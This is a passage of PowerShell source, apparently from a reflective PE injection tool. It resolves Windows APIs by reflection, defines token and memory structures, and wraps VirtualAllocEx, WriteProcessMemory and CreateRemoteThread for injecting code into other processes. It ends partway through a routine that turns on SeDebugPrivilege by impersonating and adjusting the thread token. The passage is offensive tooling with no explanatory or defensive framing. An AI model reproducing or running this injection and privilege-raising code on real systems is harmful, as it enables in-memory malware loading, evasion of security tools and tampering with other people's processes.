  367.         $LUID = $TypeBuilder.CreateType()
  368.         $Win32Types | Add-Member -MemberType NoteProperty -Name LUID -Value $LUID
  369.  
  370.  
  371.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  372.         $TypeBuilder = $ModuleBuilder.DefineType('LUID_AND_ATTRIBUTES', $Attributes, [System.ValueType], 12)
  373.         $TypeBuilder.DefineField('Luid', $LUID, 'Public') | Out-Null
  374.         $TypeBuilder.DefineField('Attributes', [UInt32], 'Public') | Out-Null
  375.         $LUID_AND_ATTRIBUTES = $TypeBuilder.CreateType()
  376.         $Win32Types | Add-Member -MemberType NoteProperty -Name LUID_AND_ATTRIBUTES -Value $LUID_AND_ATTRIBUTES
  377.  
  378.  
  379.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  380.         $TypeBuilder = $ModuleBuilder.DefineType('TOKEN_PRIVILEGES', $Attributes, [System.ValueType], 16)
  381.         $TypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null
  382.         $TypeBuilder.DefineField('Privileges', $LUID_AND_ATTRIBUTES, 'Public') | Out-Null
  383.         $TOKEN_PRIVILEGES = $TypeBuilder.CreateType()
  384.         $Win32Types | Add-Member -MemberType NoteProperty -Name TOKEN_PRIVILEGES -Value $TOKEN_PRIVILEGES
  385.  
  386.         return $Win32Types
  387.     }
  388.  
  389.     Function Get-Win32Constants
  390.     {
  391.         $Win32Constants = New-Object System.Object
  392.  
  393.         $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_COMMIT -Value 0x00001000
  394.         $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RESERVE -Value 0x00002000
  395.         $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOACCESS -Value 0x01
  396.         $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READONLY -Value 0x02
  397.         $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READWRITE -Value 0x04
  398.         $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_WRITECOPY -Value 0x08
  399.         $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE -Value 0x10
  400.         $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READ -Value 0x20
  401.         $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READWRITE -Value 0x40
  402.         $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_WRITECOPY -Value 0x80
  403.         $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOCACHE -Value 0x200
  404.         $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_ABSOLUTE -Value 0
  405.         $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_HIGHLOW -Value 3
  406.         $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_DIR64 -Value 10
  407.         $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_DISCARDABLE -Value 0x02000000
  408.         $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_EXECUTE -Value 0x20000000
  409.         $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_READ -Value 0x40000000
  410.         $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_WRITE -Value 0x80000000
  411.         $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_NOT_CACHED -Value 0x04000000
  412.         $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_DECOMMIT -Value 0x4000
  413.         $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_EXECUTABLE_IMAGE -Value 0x0002
  414.         $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_DLL -Value 0x2000
  415.         $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE -Value 0x40
  416.         $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_NX_COMPAT -Value 0x100
  417.         $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RELEASE -Value 0x8000
  418.         $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_QUERY -Value 0x0008
  419.         $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_ADJUST_PRIVILEGES -Value 0x0020
  420.         $Win32Constants | Add-Member -MemberType NoteProperty -Name SE_PRIVILEGE_ENABLED -Value 0x2
  421.         $Win32Constants | Add-Member -MemberType NoteProperty -Name ERROR_NO_TOKEN -Value 0x3f0
  422.  
  423.         return $Win32Constants
  424.     }
  425.  
  426.     Function Get-Win32Functions
  427.     {
  428.         $Win32Functions = New-Object System.Object
  429.  
  430.         $VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc
  431.         $VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr])
  432.         $VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate)
  433.         $Win32Functions | Add-Member NoteProperty -Name VirtualAlloc -Value $VirtualAlloc
  434.  
  435.         $VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx
  436.         $VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr])
  437.         $VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate)
  438.         $Win32Functions | Add-Member NoteProperty -Name VirtualAllocEx -Value $VirtualAllocEx
  439.  
  440.         $memcpyAddr = Get-ProcAddress msvcrt.dll memcpy
  441.         $memcpyDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr]) ([IntPtr])
  442.         $memcpy = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memcpyAddr, $memcpyDelegate)
  443.         $Win32Functions | Add-Member -MemberType NoteProperty -Name memcpy -Value $memcpy
  444.  
  445.         $memsetAddr = Get-ProcAddress msvcrt.dll memset
  446.         $memsetDelegate = Get-DelegateType @([IntPtr], [Int32], [IntPtr]) ([IntPtr])
  447.         $memset = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memsetAddr, $memsetDelegate)
  448.         $Win32Functions | Add-Member -MemberType NoteProperty -Name memset -Value $memset
  449.  
  450.         $LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA
  451.         $LoadLibraryDelegate = Get-DelegateType @([String]) ([IntPtr])
  452.         $LoadLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LoadLibraryAddr, $LoadLibraryDelegate)
  453.         $Win32Functions | Add-Member -MemberType NoteProperty -Name LoadLibrary -Value $LoadLibrary
  454.  
  455.         $GetProcAddressAddr = Get-ProcAddress kernel32.dll GetProcAddress
  456.         $GetProcAddressDelegate = Get-DelegateType @([IntPtr], [String]) ([IntPtr])
  457.         $GetProcAddress = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressAddr, $GetProcAddressDelegate)
  458.         $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddress -Value $GetProcAddress
  459.  
  460.         $GetProcAddressIntPtrAddr = Get-ProcAddress kernel32.dll GetProcAddress
  461.         $GetProcAddressIntPtrDelegate = Get-DelegateType @([IntPtr], [IntPtr]) ([IntPtr])
  462.         $GetProcAddressIntPtr = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressIntPtrAddr, $GetProcAddressIntPtrDelegate)
  463.         $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddressIntPtr -Value $GetProcAddressIntPtr
  464.  
  465.         $VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree
  466.         $VirtualFreeDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32]) ([Bool])
  467.         $VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate)
  468.         $Win32Functions | Add-Member NoteProperty -Name VirtualFree -Value $VirtualFree
  469.  
  470.         $VirtualFreeExAddr = Get-ProcAddress kernel32.dll VirtualFreeEx
  471.         $VirtualFreeExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32]) ([Bool])
  472.         $VirtualFreeEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeExAddr, $VirtualFreeExDelegate)
  473.         $Win32Functions | Add-Member NoteProperty -Name VirtualFreeEx -Value $VirtualFreeEx
  474.  
  475.         $VirtualProtectAddr = Get-ProcAddress kernel32.dll VirtualProtect
  476.         $VirtualProtectDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool])
  477.         $VirtualProtect = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectAddr, $VirtualProtectDelegate)
  478.         $Win32Functions | Add-Member NoteProperty -Name VirtualProtect -Value $VirtualProtect
  479.  
  480.         $GetModuleHandleAddr = Get-ProcAddress kernel32.dll GetModuleHandleA
  481.         $GetModuleHandleDelegate = Get-DelegateType @([String]) ([IntPtr])
  482.         $GetModuleHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetModuleHandleAddr, $GetModuleHandleDelegate)
  483.         $Win32Functions | Add-Member NoteProperty -Name GetModuleHandle -Value $GetModuleHandle
  484.  
  485.         $FreeLibraryAddr = Get-ProcAddress kernel32.dll FreeLibrary
  486.         $FreeLibraryDelegate = Get-DelegateType @([IntPtr]) ([Bool])
  487.         $FreeLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FreeLibraryAddr, $FreeLibraryDelegate)
  488.         $Win32Functions | Add-Member -MemberType NoteProperty -Name FreeLibrary -Value $FreeLibrary
  489.  
  490.         $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess
  491.         $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr])
  492.         $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate)
  493.         $Win32Functions | Add-Member -MemberType NoteProperty -Name OpenProcess -Value $OpenProcess
  494.  
  495.         $WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject
  496.         $WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [UInt32]) ([UInt32])
  497.         $WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate)
  498.         $Win32Functions | Add-Member -MemberType NoteProperty -Name WaitForSingleObject -Value $WaitForSingleObject
  499.  
  500.         $WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory
  501.         $WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool])
  502.         $WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate)
  503.         $Win32Functions | Add-Member -MemberType NoteProperty -Name WriteProcessMemory -Value $WriteProcessMemory
  504.  
  505.         $ReadProcessMemoryAddr = Get-ProcAddress kernel32.dll ReadProcessMemory
  506.         $ReadProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool])
  507.         $ReadProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ReadProcessMemoryAddr, $ReadProcessMemoryDelegate)
  508.         $Win32Functions | Add-Member -MemberType NoteProperty -Name ReadProcessMemory -Value $ReadProcessMemory
  509.  
  510.         $CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread
  511.         $CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
  512.         $CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate)
  513.         $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateRemoteThread -Value $CreateRemoteThread
  514.  
  515.         $GetExitCodeThreadAddr = Get-ProcAddress kernel32.dll GetExitCodeThread
  516.         $GetExitCodeThreadDelegate = Get-DelegateType @([IntPtr], [Int32].MakeByRefType()) ([Bool])
  517.         $GetExitCodeThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetExitCodeThreadAddr, $GetExitCodeThreadDelegate)
  518.         $Win32Functions | Add-Member -MemberType NoteProperty -Name GetExitCodeThread -Value $GetExitCodeThread
  519.  
  520.         $OpenThreadTokenAddr = Get-ProcAddress Advapi32.dll OpenThreadToken
  521.         $OpenThreadTokenDelegate = Get-DelegateType @([IntPtr], [UInt32], [Bool], [IntPtr].MakeByRefType()) ([Bool])
  522.         $OpenThreadToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenThreadTokenAddr, $OpenThreadTokenDelegate)
  523.         $Win32Functions | Add-Member -MemberType NoteProperty -Name OpenThreadToken -Value $OpenThreadToken
  524.  
  525.         $GetCurrentThreadAddr = Get-ProcAddress kernel32.dll GetCurrentThread
  526.         $GetCurrentThreadDelegate = Get-DelegateType @() ([IntPtr])
  527.         $GetCurrentThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetCurrentThreadAddr, $GetCurrentThreadDelegate)
  528.         $Win32Functions | Add-Member -MemberType NoteProperty -Name GetCurrentThread -Value $GetCurrentThread
  529.  
  530.         $AdjustTokenPrivilegesAddr = Get-ProcAddress Advapi32.dll AdjustTokenPrivileges
  531.         $AdjustTokenPrivilegesDelegate = Get-DelegateType @([IntPtr], [Bool], [IntPtr], [UInt32], [IntPtr], [IntPtr]) ([Bool])
  532.         $AdjustTokenPrivileges = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AdjustTokenPrivilegesAddr, $AdjustTokenPrivilegesDelegate)
  533.         $Win32Functions | Add-Member -MemberType NoteProperty -Name AdjustTokenPrivileges -Value $AdjustTokenPrivileges
  534.  
  535.         $LookupPrivilegeValueAddr = Get-ProcAddress Advapi32.dll LookupPrivilegeValueA
  536.         $LookupPrivilegeValueDelegate = Get-DelegateType @([String], [String], [IntPtr]) ([Bool])
  537.         $LookupPrivilegeValue = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupPrivilegeValueAddr, $LookupPrivilegeValueDelegate)
  538.         $Win32Functions | Add-Member -MemberType NoteProperty -Name LookupPrivilegeValue -Value $LookupPrivilegeValue
  539.  
  540.         $ImpersonateSelfAddr = Get-ProcAddress Advapi32.dll ImpersonateSelf
  541.         $ImpersonateSelfDelegate = Get-DelegateType @([Int32]) ([Bool])
  542.         $ImpersonateSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateSelfAddr, $ImpersonateSelfDelegate)
  543.         $Win32Functions | Add-Member -MemberType NoteProperty -Name ImpersonateSelf -Value $ImpersonateSelf
  544.  
  545.  
  546.         if (([Environment]::OSVersion.Version -ge (New-Object 'Version' 6,0)) -and ([Environment]::OSVersion.Version -lt (New-Object 'Version' 6,2))) {
  547.             $NtCreateThreadExAddr = Get-ProcAddress NtDll.dll NtCreateThreadEx
  548.             $NtCreateThreadExDelegate = Get-DelegateType @([IntPtr].MakeByRefType(), [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [Bool], [UInt32], [UInt32], [UInt32], [IntPtr]) ([UInt32])
  549.             $NtCreateThreadEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NtCreateThreadExAddr, $NtCreateThreadExDelegate)
  550.             $Win32Functions | Add-Member -MemberType NoteProperty -Name NtCreateThreadEx -Value $NtCreateThreadEx
  551.         }
  552.  
  553.         $IsWow64ProcessAddr = Get-ProcAddress Kernel32.dll IsWow64Process
  554.         $IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool])
  555.         $IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate)
  556.         $Win32Functions | Add-Member -MemberType NoteProperty -Name IsWow64Process -Value $IsWow64Process
  557.  
  558.         $CreateThreadAddr = Get-ProcAddress Kernel32.dll CreateThread
  559.         $CreateThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [IntPtr], [UInt32], [UInt32].MakeByRefType()) ([IntPtr])
  560.         $CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate)
  561.         $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateThread -Value $CreateThread
  562.  
  563.         return $Win32Functions
  564.     }
  565.  
  566.  
  567.  
  568.  
  569.  
  570.  
  571.  
  572.  
  573.  
  574.     Function Sub-SignedIntAsUnsigned
  575.     {
  576.         Param(
  577.         [Parameter(Position = 0, Mandatory = $true)]
  578.         [Int64]
  579.         $Value1,
  580.  
  581.         [Parameter(Position = 1, Mandatory = $true)]
  582.         [Int64]
  583.         $Value2
  584.         )
  585.  
  586.         [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1)
  587.         [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2)
  588.         [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0)
  589.  
  590.         if ($Value1Bytes.Count -eq $Value2Bytes.Count)
  591.         {
  592.             $CarryOver = 0
  593.             for ($i = 0; $i -lt $Value1Bytes.Count; $i++)
  594.             {
  595.                 $Val = $Value1Bytes[$i] - $CarryOver
  596.  
  597.                 if ($Val -lt $Value2Bytes[$i])
  598.                 {
  599.                     $Val += 256
  600.                     $CarryOver = 1
  601.                 }
  602.                 else
  603.                 {
  604.                     $CarryOver = 0
  605.                 }
  606.  
  607.  
  608.                 [UInt16]$Sum = $Val - $Value2Bytes[$i]
  609.  
  610.                 $FinalBytes[$i] = $Sum -band 0x00FF
  611.             }
  612.         }
  613.         else
  614.         {
  615.             Throw "Cannot subtract bytearrays of different sizes"
  616.         }
  617.  
  618.         return [BitConverter]::ToInt64($FinalBytes, 0)
  619.     }
  620.  
  621.  
  622.     Function Add-SignedIntAsUnsigned
  623.     {
  624.         Param(
  625.         [Parameter(Position = 0, Mandatory = $true)]
  626.         [Int64]
  627.         $Value1,
  628.  
  629.         [Parameter(Position = 1, Mandatory = $true)]
  630.         [Int64]
  631.         $Value2
  632.         )
  633.  
  634.         [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1)
  635.         [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2)
  636.         [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0)
  637.  
  638.         if ($Value1Bytes.Count -eq $Value2Bytes.Count)
  639.         {
  640.             $CarryOver = 0
  641.             for ($i = 0; $i -lt $Value1Bytes.Count; $i++)
  642.             {
  643.  
  644.                 [UInt16]$Sum = $Value1Bytes[$i] + $Value2Bytes[$i] + $CarryOver
  645.  
  646.                 $FinalBytes[$i] = $Sum -band 0x00FF
  647.  
  648.                 if (($Sum -band 0xFF00) -eq 0x100)
  649.                 {
  650.                     $CarryOver = 1
  651.                 }
  652.                 else
  653.                 {
  654.                     $CarryOver = 0
  655.                 }
  656.             }
  657.         }
  658.         else
  659.         {
  660.             Throw "Cannot add bytearrays of different sizes"
  661.         }
  662.  
  663.         return [BitConverter]::ToInt64($FinalBytes, 0)
  664.     }
  665.  
  666.  
  667.     Function Compare-Val1GreaterThanVal2AsUInt
  668.     {
  669.         Param(
  670.         [Parameter(Position = 0, Mandatory = $true)]
  671.         [Int64]
  672.         $Value1,
  673.  
  674.         [Parameter(Position = 1, Mandatory = $true)]
  675.         [Int64]
  676.         $Value2
  677.         )
  678.  
  679.         [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1)
  680.         [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2)
  681.  
  682.         if ($Value1Bytes.Count -eq $Value2Bytes.Count)
  683.         {
  684.             for ($i = $Value1Bytes.Count-1; $i -ge 0; $i--)
  685.             {
  686.                 if ($Value1Bytes[$i] -gt $Value2Bytes[$i])
  687.                 {
  688.                     return $true
  689.                 }
  690.                 elseif ($Value1Bytes[$i] -lt $Value2Bytes[$i])
  691.                 {
  692.                     return $false
  693.                 }
  694.             }
  695.         }
  696.         else
  697.         {
  698.             Throw "Cannot compare byte arrays of different size"
  699.         }
  700.  
  701.         return $false
  702.     }
  703.  
  704.  
  705.     Function Convert-UIntToInt
  706.     {
  707.         Param(
  708.         [Parameter(Position = 0, Mandatory = $true)]
  709.         [UInt64]
  710.         $Value
  711.         )
  712.  
  713.         [Byte[]]$ValueBytes = [BitConverter]::GetBytes($Value)
  714.         return ([BitConverter]::ToInt64($ValueBytes, 0))
  715.     }
  716.  
  717.  
  718.     Function Get-Hex
  719.     {
  720.         Param(
  721.         [Parameter(Position = 0, Mandatory = $true)]
  722.         $Value
  723.         )
  724.  
  725.         $ValueSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Value.GetType()) * 2
  726.         $Hex = "0x{0:X$($ValueSize)}" -f [Int64]$Value
  727.  
  728.         return $Hex
  729.     }
  730.  
  731.  
  732.     Function Test-MemoryRangeValid
  733.     {
  734.         Param(
  735.         [Parameter(Position = 0, Mandatory = $true)]
  736.         [String]
  737.         $DebugString,
  738.  
  739.         [Parameter(Position = 1, Mandatory = $true)]
  740.         [System.Object]
  741.         $PEInfo,
  742.  
  743.         [Parameter(Position = 2, Mandatory = $true)]
  744.         [IntPtr]
  745.         $StartAddress,
  746.  
  747.         [Parameter(ParameterSetName = "Size", Position = 3, Mandatory = $true)]
  748.         [IntPtr]
  749.         $Size
  750.         )
  751.  
  752.         [IntPtr]$FinalEndAddress = [IntPtr](Add-SignedIntAsUnsigned ($StartAddress) ($Size))
  753.  
  754.         $PEEndAddress = $PEInfo.EndAddress
  755.  
  756.         if ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.PEHandle) ($StartAddress)) -eq $true)
  757.         {
  758.             Throw "Trying to write to memory smaller than allocated address range. $DebugString"
  759.         }
  760.         if ((Compare-Val1GreaterThanVal2AsUInt ($FinalEndAddress) ($PEEndAddress)) -eq $true)
  761.         {
  762.             Throw "Trying to write to memory greater than allocated address range. $DebugString"
  763.         }
  764.     }
  765.  
  766.  
  767.     Function Write-BytesToMemory
  768.     {
  769.         Param(
  770.             [Parameter(Position=0, Mandatory = $true)]
  771.             [Byte[]]
  772.             $Bytes,
  773.  
  774.             [Parameter(Position=1, Mandatory = $true)]
  775.             [IntPtr]
  776.             $MemoryAddress
  777.         )
  778.  
  779.         for ($Offset = 0; $Offset -lt $Bytes.Length; $Offset++)
  780.         {
  781.             [System.Runtime.InteropServices.Marshal]::WriteByte($MemoryAddress, $Offset, $Bytes[$Offset])
  782.         }
  783.     }
  784.  
  785.  
  786.  
  787.     Function Get-DelegateType
  788.     {
  789.         Param
  790.         (
  791.             [OutputType([Type])]
  792.  
  793.             [Parameter( Position = 0)]
  794.             [Type[]]
  795.             $Parameters = (New-Object Type[](0)),
  796.  
  797.             [Parameter( Position = 1 )]
  798.             [Type]
  799.             $ReturnType = [Void]
  800.         )
  801.  
  802.         $Domain = [AppDomain]::CurrentDomain
  803.         $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
  804.         $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
  805.         $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
  806.         $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
  807.         $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
  808.         $ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
  809.         $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
  810.         $MethodBuilder.SetImplementationFlags('Runtime, Managed')
  811.  
  812.         Write-Output $TypeBuilder.CreateType()
  813.     }
  814.  
  815.  
  816.  
  817.     Function Get-ProcAddress
  818.     {
  819.         Param
  820.         (
  821.             [OutputType([IntPtr])]
  822.  
  823.             [Parameter( Position = 0, Mandatory = $True )]
  824.             [String]
  825.             $Module,
  826.  
  827.             [Parameter( Position = 1, Mandatory = $True )]
  828.             [String]
  829.             $Procedure
  830.         )
  831.  
  832.  
  833.         $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
  834.             Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll') }
  835.         $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
  836.  
  837.         $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
  838.  
  839.         Try
  840.         {
  841.             $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
  842.         }
  843.         Catch
  844.         {
  845.             $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress',
  846.                                                             [reflection.bindingflags] "Public,Static",
  847.                                                             $null,
  848.                                                             [System.Reflection.CallingConventions]::Any,
  849.                                                             @((New-Object System.Runtime.InteropServices.HandleRef).GetType(),
  850.                                                             [string]),
  851.                                                             $null)
  852.         }
  853.  
  854.  
  855.         $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
  856.         $tmpPtr = New-Object IntPtr
  857.         $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
  858.  
  859.  
  860.         Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
  861.     }
  862.  
  863.  
  864.     Function Enable-SeDebugPrivilege
  865.     {
  866.         Param(
  867.         [Parameter(Position = 1, Mandatory = $true)]
  868.         [System.Object]
  869.         $Win32Functions,
  870.  
  871.         [Parameter(Position = 2, Mandatory = $true)]
  872.         [System.Object]
  873.         $Win32Types,
  874.  
  875.         [Parameter(Position = 3, Mandatory = $true)]
  876.         [System.Object]
  877.         $Win32Constants
  878.         )
  879.  
  880.         [IntPtr]$ThreadHandle = $Win32Functions.GetCurrentThread.Invoke()
  881.         if ($ThreadHandle -eq [IntPtr]::Zero)
  882.         {
  883.             Throw "Unable to get the handle to the current thread"
  884.         }
  885.  
  886.         [IntPtr]$ThreadToken = [IntPtr]::Zero
  887.         [Bool]$Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken)
  888.         if ($Result -eq $false)
  889.         {
  890.             $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
  891.             if ($ErrorCode -eq $Win32Constants.ERROR_NO_TOKEN)
  892.             {
  893.                 $Result = $Win32Functions.ImpersonateSelf.Invoke(3)
  894.                 if ($Result -eq $false)
  895.                 {
  896.                     Throw "Unable to impersonate self"
  897.                 }
  898.  
  899.                 $Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken)
  900.                 if ($Result -eq $false)
  901.                 {
  902.                     Throw "Unable to OpenThreadToken."
  903.                 }
  904.             }
  905.             else
  906.             {
  907.                 Throw "Unable to OpenThreadToken. Error code: $ErrorCode"
  908.             }
  909.         }
  910.  
  911.         [IntPtr]$PLuid = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.LUID))
  912.         $Result = $Win32Functions.LookupPrivilegeValue.Invoke($null, "SeDebugPrivilege", $PLuid)
  913.         if ($Result -eq $false)
  914.         {
  915.             Throw "Unable to call LookupPrivilegeValue"
  916.         }
  917.  
  918.         [UInt32]$TokenPrivSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.TOKEN_PRIVILEGES)
  919.         [IntPtr]$TokenPrivilegesMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPrivSize)
  920.         $TokenPrivileges = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenPrivilegesMem, [Type]$Win32Types.TOKEN_PRIVILEGES)
  921.         $TokenPrivileges.PrivilegeCount = 1
  922.         $TokenPrivileges.Privileges.Luid = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PLuid, [Type]$Win32Types.LUID)
  923.         $TokenPrivileges.Privileges.Attributes = $Win32Constants.SE_PRIVILEGE_ENABLED
  924.         [System.Runtime.InteropServices.Marshal]::StructureToPtr($TokenPrivileges, $TokenPrivilegesMem, $true)
  925.  
  926.         $Result = $Win32Functions.AdjustTokenPrivileges.Invoke($ThreadToken, $false, $TokenPrivilegesMem, $TokenPrivSize, [IntPtr]::Zero, [IntPtr]::Zero)
  927.         $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
